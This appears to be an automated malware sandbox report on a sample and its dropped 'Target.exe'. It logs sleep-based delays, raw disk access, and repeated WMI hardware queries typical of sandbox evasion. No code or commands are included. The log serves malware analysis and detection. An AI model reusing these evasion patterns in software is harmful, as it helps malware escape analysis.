Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -119500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59529s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59407s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59287s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -598871s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -598761s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -598652s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59840s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59733s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59625s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59379s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59261s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -597708s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -597543s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe TID: 7432	Thread sleep time: -59859s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7920	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
